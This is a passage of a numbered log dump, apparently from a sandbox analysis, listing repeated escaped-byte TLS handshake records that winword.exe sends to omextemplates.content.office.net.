  285. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xc0q\\x9by\\xd8\\xb5\\xbcb|\\xed\\xee\\xe2\\x80\\xd3\\xaa\\xaf\\x05h\\x05!;\\x92\\xfb\\xf4\\x8a\\xf6\\xd4e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  286.  
  287.  
  288. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8ac\\x94r\\xf80\\x0b\\x83\\xba\\xa83\\xd9h\\xf0\\xda\\x97\\xc9\\x89,/\\xbe\\xb8h\\xc1\\xa5\\x15l\\x8bk\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  289.  
  290.  
  291. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a0\\x04i\\x91r4(c\\xc2\\x00:\\xa8\\x98<\\x07?\\x81mc\\x9dc\\x06o\\xe4\\x81w~\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  292.  
  293.  
  294. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xf5\\xb9\\x03d\\x87\\x87\\x0c\\x9av\\x94\r\\x94\\xd1\\xd0\\x8e\\x98\r\\xe6by)\\x9d\\x02\\xd4\\xba|,\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  295.  
  296.  
  297. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xe50,g\\x9c\\xb1y\\x7fh\\xbb\\x1ai\\xd1uf\\xbc\\xc5\\xaf\\x07t\\x0c\\x0bk\\xac\\xed\\xe0 \r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  298.  
  299.  
  300. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xf90\\xf4c\\x8b\\xb2\\xfe\\x84\\xc9\\xff\\xce\\x14z\\x83\\x05\\x16\\xe8\\xc2\\xd9,km\\x8b\\x1f\\x9a(s\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  301.  
  302.  
  303. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8as\\xe2\\x8c\\xda\\x10:\\x87u\\xfd_\\xf5\\x93\\xba3\\xc2v\\xb7\\x00;+\\xb6~\\xde\\xd9\\xac\\xd1.\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  304.  
  305.  
  306. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x9au\\xbb\\xe3\\x83f\\xd0\\xd3\\xc0\\x8f\\x03n\\xebc\\x1dr\\x93\\xaf'\\xb5\\x0b<\\x8eb\\xcaff(\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  307.  
  308.  
  309. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04=r\\x04\\xce1\\xba~y~\\x08\\xf8\\xa6b\\xa6j\\xe4\\xc0:\\x81sy\\x93\\xe3\\x88\\xdf\\xd6|\\xc5\\xd5\\xf8\\xac8\\x9e\\xde\\xe3\\xce\\x12\\xd9+\\xfb\\xa7\\x047\\x9f\\xd6e\\x85\\xc8a\\xef\\xe1\\xb3\\x0co\\x86\\xc4\\xf2\\xc2':\\xdb\\\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000-|\\xea\\xfe\\x8f\\x01\\xf7\\xab\\x88\\x93\\x1f\\x19+$\\xdc\\xde\\xd4\\xf9\\x85%\\xd7\\xf5|/\\xf8\\x81\\x92b\\x93\\x04wxk)\\xed\\xa5\\xbc\\x97\\x9d\\x02\\x1f\\xff\\xa59\\xd7\\xb2\\xb0\\xd9"
  310.  
  311.  
  312. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc5\\xbf\\xfe\\xb7yon'\\x90\\xd3\\x95\\xe4df\\x834\\xbe\\x16w\\x8c\\xe0\\x8eed\\x12l\\xc9#\\xdfg\\xe7\\x97\\xea\\xbc\\xbf\\xc2\\xba\\xd5|\\xbe\\xacp\\x9b\\x00\\x85\\xf4\\x89\\xcd\\xacup\\xf7\\xde\\x95\\xd2\\xc4\\x15(>\\x15\r\\xf5\\x9fy\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x99\\x0e\\xdf\\xda:\\x14\\xd2\\xc9\\x8f\\x1f\\x17\\xfb7k\\xff\\xd3\\xe3\\x04\\xd6\\x89\\xaa\\xedz\\xf0\\x01\\x93=j\\x1b\ruz\\xc8hg\\xf1\\xf4u\\xa3\\xbcl\\xe6\\xd6\\xc50*\\xfc"
  313.  
  314.  
  315. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04=\\x9e\\x13\\x0b\\xa4\\x1c\\x04md\\xa9\\xce\\xea\\x85n#\\xbeq\\x06-y\\xb3\\xe1/\\xd2\"\n\\x90j\\xa0\\xf15\\xf9z\\x8evd>\\xebz\\x1b\\x087v^\\x88\\x91seu\\x17\\xb4gd\\xa0l\\\\x98~)\\xa5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000 ^\\xd0\\x8d\\xd31\\xf3\\xd2\\xa1k9\\x8a\\xe6j\\xed\\x93\\xe5a7\\xae\\xa0\\xd9\\x82p\\x9c\\x8f\\x94\\x91\\xd5;\\xe8\\xab\\xf9>\\xa9m-\\xbf\\xe8\\xe55\\xb8\\xb8\\xe5\\x8e\\xcf\\xf8"
  316.  
  317.  
  318. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\xd1\\xa5&\\xd5\\xa6nu,\\x17+-\\x10\\xce\\xd1\\x86\\xee\\xfa`\\x0f\\xa8n/&\\x8a\\xe2\\xd5\\x95%\\x82\\x1dg\\xef\\xb6\\x1a\\xa0\\xbb\\xa2\\x7f\\xa0\\x904\\xf4a@\\x88d\\xf6\\xa1q\\x94a\\xa7\\xdc\\x04\\xe7\\x13\\x1c\\xfa\\xe4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0\\x0e\\xcb\\x12\\xc5\\xb0x^\\x8d\\xeb\\x83\\x1f?\\xd0m\\x83\\xadv\\x810\\xf5`t\\xd7\\x01\\xa5\\xf0;:\\x1cm~\\x8d\\x05.\\x9e%\\x0b\\xeb\\xad\\xbex\\xfc\\x11j<8"
  319.  
  320.  
  321. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04.\\xd5\\xc7\\x99\\xf3\\xa6g\\x82\\x03\\xd6\\x12\"4c\\xde^rqo\\xa7\\xea\\x1f\\x7f\\xa1y\\xa4\\xa6me\\x96o\\xca\\x8d\\xe4\\x971\\xcc\\x82\\x19\\xe8\\xf2\\xa4iw\\xe1\\x17sgd\\x0e\\xc6\\x13p\\x9d\\x90=\\xef\\xcc@\\xf4\\xa1\\xdd\\x83;\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\x8d&(\\x99x\\x81\\x03\\x9e_\\xfa\\xe8&\\xa4\\xeb\\xe4\\x1ehv\\x0bp&\\xdc;\\x10\\x03w\\x11t5\\x1c\\xe2\\x97)\\x04\\xe1\\x9b\\xe0n\\xac\\x82,\\x1a\\xccq\\xd4\\x96"
  322.  
  323.  
  324. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$\\xa3*\\xa6q\\xe6\\x91\\xc2@\\xbcv\\x95\\xe7\\xeb\\xfc\\xc0\\x83y\\xa6\\xba\\x86\\xaa:2u\\xc8;\\x8835\\x80\\xd2\\xf5r\\x06\\xb4hn\\xa0\\x84@\\x02\\xfa\\xd9\\xf7a\\xf0k\\x12c&z5p\t\\x1d\\xcbo\\xab\\x8a\\xbe)\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z-q\\xb21a\\xa7z\\xbfz\\x05\\x97)\\xc3\"!\\xd5iltp~~\\xe5s&\\xfa\\x80\\xd94\\x95\\x9d\\xf5f\\xa0\\x08k~i\\xf2\\x05\\xac\\x00\\x957\\x08\\x11"
  325.  
  326.  
  327. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04'\\xd1\\x0cj\\xfc\\x11)\\xd4\\x84\\xfb\r\\xec\\xdd\\xbc\\xba\\xb7\\x9c\\xd2\\xcf\\x87\\xc2\\xfe\\xba \\xd4\\x8cs\\x0c\\xf8=\\xcc\\xa1z\\x13\\xd6r4\\x0ev\\xc3#\\xd3\\xb2\\x81\\xdbe\\xa7\\x06e\\x92!\\xaf\\x8c\\xa1,>\\xde^\\xd8\\x10\\xe0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\"\\xd5:\\x9f\\x84\\xc3\\x0e\\xde\\x0e\\x0c\\x00\\x97\\x9a\\xcds(;\\xa0m\\x9b\\xab^a:\\xd1q\\xd3\\xc8\\xb0\\x93w\\xaf\\xb5b\\xf2\\x0eg<\\x99\\xd3\\xa0\\x94^\\x19\\x99\\x0b"
  328.  
  329.  
  330. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf2\\xd32\\x18/zh\\xe4\\xe8\\xc6\\xb6t\\x96r4t\\xca\\x1b\\xd9*\\xe9\\xf7\\x86\\x1d\\xbb\\x12\\xcat\\xf5\\x1d\\x13>\\xe8\\x0b0\\xafx\\xb8po\\xb71itjo\\x06h\\x7f\\xe0\n\\xb64f\\xa1\\x81\\x00\\x90\\xa6c\\xdb\\xa8w\\x0c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xca\\x13\\xfcjc\\x1b\\xdc,\\xbc$u\\x0f\\xa7~\\xac\\x9c&h\\x04c\\x1a\\xef\\x0b\\x9ca\\xc9%\\xd9\\x16\\xa2\\xf6\\xa3\\xfe\\x965\\xffa\\xce\\xf0h\\xd8p\\xa4\\xd7i\\x9c\\xac"
  331.  
  332.  
  333. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x040$ei<\\\\xa6\\xc6\\xcepqq`\\x06\\xb7\\xf5%\\x1e\\x81\\xb7d0\\xb5\\x15o\\xab\\xa8_\\xf4\\xb5\\x1c\\xb2\\x1a\\xb9\\xcaf\"m\\xa0\\x1bw\\xd3\\xd5\\x10\\x16\\xbb\\xfa!\\xf5\\xd1=6\\xbc\\xd3u\\xdb\\xd8\\x12~\\xe1\\xda\\x93\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005\"\\xc38@h\\xee\\x10\\x15\\xf6\\xa9\\xa9f.3\\xd8\\x91s)dv)\\x0ea\\xe7\\x9f\\xc8\\xcb\\xe3c\\xde\"\\x88\\x06\\xfa:;\\xd9:\\x97pb\\x00\\x10c\\xd5\\xbd"
  334.  
  335.  
  336. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h^\\xaaa^\\xf2c\\xfd\\xfd\\xaf)\\xeaa\\xc3\\xf9`\\x0c\\xa3m\\xf1\\x80v\\xfee\\xd1\\xd3\\xe2b\\xc9\\x0en\\xd3\\xee\\xd5p\\x12\\x87\\x0f\\xebi-x?\\x01\\xf8k4\\x17:l\\x1d\\x069if\\xcb\\xdcj/\\x9a\\xb7\\x97\\xb5j\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc5\r\\xb0\\xd2\\xe3x\\xe2k\\xec1\\x1ei\\x8d8\\x87\\x99^\\xd1\\xf1;\\x8a/\\xd8\\xee_\\xefv\\x8d\\x17\\x13\\xad\\xa6\\xc92i'^\\x0c\\xc7w\\x05\\xcc\\xce\\x15.\\x0c\\x05#"
  337.  
  338.  
  339. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0fx\\x0e\\x1c^\\xb1\\x1div\r\\xa0;x\\xa2\\x0c\\xd3\\xa0kf\\xf4_+\\xbd\\xc4\\xdd\\xa0\\x18\\xd9\\x02d\\x89\\x15\\x8e\\x11\\xfd^\\xab\\xe3b\\xec\\xef\\x07\\x84\\x04\\xc0:\\x04g\\xb7\\x00$\\xfe\\xd55\\xac\\xf8\\x06\\x1c\\xb6\\x13h\\xdc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3q\\xde\\xbak\\xb8\\xdb\\x97ykr\\x18o\\x98\\xf4\\x15\\xfd\\xa06\\xaf3\\xf3\n\\xea\\xcf\\xe2\\xff\\xbapdb\\xff\\xf6\\x1f5ix\\xce\\x16bs\\xc9l\\xa9p\\xa7"
  340.  
  341.  
  342. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x18lf\\xf2q\\xb2s\\x1b\\x88\\xdan\\x8dr\\xdfi\\xcb\\xc6_\\xb2v2\\xc9r\\xe31\\x0e\\x1e\\xbf\\x80(j\\xa5\\x1b\\xf6\\x17\\x1b\\xca\\xf5oovh\\x8e?\\xf9\\xa6r\\x83\\xd3\\xae~\\xeflr\\xdd\\x1d$\\xa3\\x98z\\x80\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\\xc2\\xb8v^\\x10\\xb1\\x1b/\\x8b\\x01\\x81\\x9f\\x17\\x9c\\xdb\\x9a\\x1f\\xaf\\x03&'cz\\xf4\\x17\\x02j\"\\xef\\x9a\\xfd\\xdal\\xfd\\xdb\\x122^\\xe4\\xf0\\x07\\xf5\\xabwj\\x0ey"
  343.  
  344.  
  345. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s%\\xfa\\xaa\\xa1l\\x8d\\xe0\\xe9\\xeb6\\x19\\xa0\\x83\\x0c5\\xf9k\\x86\\x0e\\xa4\\x04\\x94\\x04\\xfb\\xf4 \\x8b\\x9b8e\\x08w9b\\xa9\\xcd\\xd8\\xe9^\\xf6\\xfb\\x9f\\xa9\\xd7\\x88t\\xb9\\x9dr\\x85\\xb9\\x92\\x13c\\x83\\xbf\\xeaf\\xa7\\x8a\\xadv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k\\xc7\\xb1\\x92\\xafn3\"h\\\\xac\\xc5\\xcd\\x02\\x96\\xce\\xbc\\x96t\\xfe\\x9at\\x8a\\xb2\\xa2\\x80\\xde\\xed\\x97&\\x97\\x8c\\x06r\\x92\\x173\\x1d\\xe3\\x94\\xf5f6\\x88=^\\x8b$"
  346.  
  347.  
  348. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xebq\\x82z\\xfcu4\\xa2\\xbay\\xbf\\x851?ty\\xad\\x10\\x17q\\xbb\\xd2!c\\xab\\x07\\x91\\xf4i\\xf9\\x034\t\\x1czh\\xf5q\\xad5 \\x07\\xcci\\x17\\xd9'\\xb6\\xc3\\xe4\\xbb|\\x95\\xa4b\\x9f\\xc9-6\\x86\\x97\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfc\\xcd\\xb6\\x13\\x11\\xe2x\\xb4!+\\xa7%\\x1dc\\xdc\\x8c^l:\\x02\\x1dg\\x9f\\x0e)zqx\\x8a`\\xaewz\\x9a\\x04\\xaf\\x8b\\x1d\t\\x95z2\\xb2\\xd86\\xda\\x06"
  349.  
  350.  
  351. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04%\\xf9\\xf5^\\xfc\\xbd5 \\xd2\\x1be\\x1e\\xeb,\\xb0_\\xa6\\xbf\\xb3q\\x95\\xc3\\xad\\x8a\\xd9\\x19\\xedok\\xa4^ \\x86\\x87\\xd0\\x1a\\xd5\\xc7\\xc5q\\xc8~'q\\xb7k\\x0bo\\x16r\\xea\\xa6\\x04)\\xb5\\xeco\\x8f\\xd2\\xab\\xe2|\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)\\x1c#bn\\xfd\\x9c\\xac\\xe4\\xc4\\x88/\t\\xb3\\xb6\\xf5\\x13qg\\x03\\x19\\xb6\\xedq\\x04\\x1f\\xd4\\x9fk\\x1b\\x94\\xa5\\xe7m\\xf9\\x065t?\\x91\\xa3\\xd4\\xb0\\x9a\\x82:\\xe8"
  352.  
  353.  
  354. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8ak\\x84\\xe6\\xc5\\xca\\xb4\\x1e\\x8b=u\\xc1\\xf1\\xb8\\xf4\\xf7a\\xf5\\xeb%\\xe5\\x02u;\\xd5i\\xcd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  355.  
  356.  
  357. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8aqd\\xb0\\x87\\xf2\\xd9\\x1d\\xa6'\\xcf v\\xf4\\xa5\\x94d\\x8d\\xd2\\x81\\xd7\\x0b^\\xcc\\xad\\xf9\\x03\\x13d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  358.  
  359.  
  360. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8ab\\xfd\\xe8\\xaa\\x89|\\xe8\\x97\\x13\\xeb\\xc0r\\x13\\x01\\xc3\\xb3\\xb5\\x01l\\xed\t\\x82\\xb9)!\\xaa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  361.  
  362.  
  363. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x16\\xcdve\\xc4\\x05\\x1f\\xd0f\\xfd\\x87\\xdb\\x8feq*\\x96\\x07(c\\x1av\\x1e\\x88t\\xc1\\xb3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  364.  
  365.  
  366. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8alr\\xb4n3l\\x12\\xfe\\xab\\xe6\\xf1\\x18\\x82s*\\xf0s\\x05\\x9b\\x12\\xea\\x8d~&\\xe4i\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  367.  
  368.  
  369. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8az\\xf1b_\\xb2\\xc0@\\x1a\\x0f\\xa2\\x07`\\xb1\\xdey\\x87\\xb0\\xca\\xa1&\\x97\\xf2e\\xe3\\xa53'$\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  370.  
  371.  
  372. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h\\x01/3h,o\\x9a\\xfd\\xfc~\\xf4y\\x87*\\xd3\\xf1\"\\xdf<l\\xbb\\xee\\x10\\xd7v\\xfd2\\x05\\x0f\\xd9mm\\x15\\x16\\x8c8r\\xc7\\xe6\\xe8\\x10\\x98\\xb0\\x03\\x1f\\x8e\\x17s8%\\xfc\\xef\\xeas\\xc9e\\xa8\\xc7%\\xa8\\xa3\\xd3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0b\\x1c\\xf8\\xdb\\xe3\\xcf\\x97\\x89p\\x10`\\x99#\\xe6\\x9d~\\xa0\\xda\\xba\\x1a\\xf5\\xf7\\x98l\\xaa\\xc4,\\x13\\xbfin$\\xf8\\x9fuq+\\x91z\\xb4iwh\\x80|\\x1b\\xdd"
  373.  
  374.  
  375. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04a\\x00\\x16o\t\\xb1e\\x8f,\\x1b\\xb6\\\\xa3 \\xce\\x18\\xf0ft\\xcb\\x97\\xb1\\x8c`\\xb0\\xa9\\x92u\\x05\\xa5\\xfa\\x7fc\\xe3s4\\x1f\\x96\\x82\\xb4\\xf7\\x7f\\xa9\\xac\\x06\\xbd\\x84\\xc6\\xe6\\xfd41\\x86\\xd8\\x86m\\x14\\xa5+\\x1e\\x19\\xddb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\rw\\xd3\\x19\\xcd\\x06_\\xfa\\xc8t\\xd3t\\xb6r\t\\xafnm\\x80\\xe5>\\x1d\\x16w\\xd9\\x11\\x95\\xa3\\xef\\xa6\\x1agk\\xbf\\xf9\\xb0v\\xcc\\xde\\x8c+\\x94mm\\x94\\xb3"
  376.  
  377.  
  378. "http_request": "winword.exe_WSASend_>\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\xe9 \\xf1\\x9d<k\\xf2.\\xeb\\xcfz\\x84j4!6\\x84\\x96\\x15\\x82\\xc4\\x1bgrd\\xf0\\xcc\\xab\\x1c\\xde\\xf4\\xde\\xfc\\xd9\\xba\\xf5z\\xf6\\x97\\xf9\\xce\\xa4ocl\\xab\\x1a\\xce\\x90\\xe8v\\xc9\\xc9)\\x1cd\\xb9=\\x90\\x0b\\x87\\xaf\\\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\xd9\t\\xc8al\\xcf3\\x03\\xec\\xd1\\xe0\\xcf\\x1fn\\xc6\\xcc\\x0b*w\\xca\\xcf\\xc0*m\\x96*\\xd8\\xcb;\\xc7f5\\xa0\\xa5@\\xd4\\xbf\\xe0\\xe9 \\xe8\\xa5\\xcbd\\x06\\xa7/"
  379.  
  380.  
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\x0b>\\xe1\\x14\\x11-\\xe9ioq;\\xe1\\xecq.w+,\\x90\\xfa<\\xac\\xe1\\xef\\xd6\\x831f&-\\xac\\x04\\x1c\\x9e\\x83np\\xf6\\x19\\xbd\\xd2\\x97\\xa9\\x15-\\xb3\\xeft\\x00\\x87\\x12\\xf8\\x91\\xc0\\x8at\\xb5\\xa8\\xa08c\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x7f\\xcb+h8\\x03\\xbf\\xf4y\\xf3\\x9c\\x82\\xbb\\xe4\\xb4\\x1b\\xf9\\xf0d\\\\xf9\\xea\\x86\\xe8jf_\\x9d\\z?\\xea'\\xe6b\\xb8xa\\xd82\\xf0\\xa7\\x82\\xf2h\\xe8\\xf5\\xa6"
  382.  
  383.  
  384. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04<y,\\x8c\\xbb%\\x07\\xc6\\x1b\\xa9g\\xb7\\x0eb\\xf7\\x1c\"\\xe3\\xac\\xe3r\\x93+h\\xe0#\\xfcy\\x12l\\x8e*v*_x>\\x04p\\x90\\x1a\n\\xfey\\xe1b7q6b\\xd4\\x1b\\xddh\\xf9\\xfc\\xfb.\\xe8>l\\xeex\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbc\\xce\\x05-\\x17\\xe5\\xe7pum\\x85\\xf3\\xe1_#d\\xfe\\x8bp0\\x7fi\\xeb\n\\xd2b\\xff\\x0c\\x89\\xfe\\x0e%\\x08v\\xf7\\xf1/\\xfa\\x87\\xf0\\xb6\\x0fn\\xed\\x89u8"
  385.  
  386.  
